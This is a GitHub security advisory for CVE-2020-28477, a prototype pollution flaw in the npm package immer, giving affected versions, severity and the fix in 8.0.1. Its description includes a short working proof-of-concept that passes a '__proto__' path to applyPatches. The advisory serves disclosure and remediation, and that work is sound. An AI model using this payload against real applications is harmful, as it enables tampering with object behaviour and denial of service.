GitHub Advisoryadvisory · npm

GHSA-9qmh-276g-x5pj Prototype Pollution in immer

HIGH Published 2021-01-20 Modified 2024-04-25 Official page ↗
Aliases
CVE-2020-28477
Ecosystem
npm
Packages
immer
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-471
Reviewed
2021-01-20

Affected packages

• npm immer: >= 7.0.0, < 8.0.1 → fixed in 8.0.1

Description

Overview Affected versions of immer are vulnerable to Prototype Pollution. Proof of exploit ```js const {applyPatches, enablePatches} = require("immer"); enablePatches(); let obj = {}; console.log("Before : " + obj.polluted); applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]); // applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]); console.log("After : " + obj.polluted); ``` Remediation Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

Related

Alias · CVE (1)

  • CVE-2020-28477 This affects all versions of package immer. vulnerability

Weakness · CWE (1)

  • CWE-471 Modification of Assumed-Immutable Data (MAID) weakness

References